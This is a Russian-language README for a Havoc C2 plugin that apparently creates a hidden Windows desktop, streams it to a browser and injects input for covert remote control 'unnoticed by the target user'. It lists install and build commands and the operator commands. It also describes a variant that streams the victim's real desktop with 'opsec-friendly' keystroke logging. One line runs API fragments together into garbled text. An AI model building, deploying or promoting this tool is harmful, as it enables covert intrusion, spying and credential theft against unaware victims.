
Плагин Havoc C2, который создаёт скрытый рабочий стол Windows, транслирует его в браузерное окно просмотра и внедряет ввод мыши/клавиатуры для скрытого удалённого управления.
Плагин для Havoc C2, который создаёт невидимый альтернативный рабочий стол Windows, транслирует его в браузерный просмотрщик и поддерживает полноценное взаимодействие мышью/клавиатурой, как RDP, но незаметно для целевого пользователя.
CreateDesktopW и запускает на нём explorer.exePrintWindow и передаёт JPEG-кадрыPostMessage напрямую в окна скрытого рабочего столаКросс-компилятор: x86_64-w64-mingw32-gcc (и опционально i686-w64-mingw32-gcc для x86)
sudo apt update && sudo apt install gcc-mingw-w64-x86-64 gcc-mingw-w64-i686
sudo pacman -S mingw-w64-gcc
sudo dnf install mingw64-gcc mingw32-gcc
make # x64 only
make both # x64 + x86
make clean # remove .o files
x86_64-w64-mingw32-gcc -c -Wall -Wno-unused-variable -o screenshot.x64.o screenshot.c
x86_64-w64-mingw32-gcc -c -Wall -Wno-unused-variable -o screeninput.x64.o screeninput.c
x86_64-w64-mingw32-gcc -c -Wall -Wno-unused-variable -o notrdp_mgr.x64.o notrdp_mgr.c
notrdp [port] [quality] # Start hidden desktop session
notrdp-close # Close session
Вариант плагина, который захватывает реальную сессию рабочего стола пользователя вместо создания скрытой. Включает opsec-дружественный перехват нажатий клавиш через опрос GetAsyncKeyState, встроенный в BOF для скриншотов. Упакован как notrdpuser.zip в том же репозитории — распакуйте и загрузите notrdpuser.py тем же способом.
notrdpuser [port] [quality] # Start user desktop streaming + keystroke capture
notrdpuser-close # Close session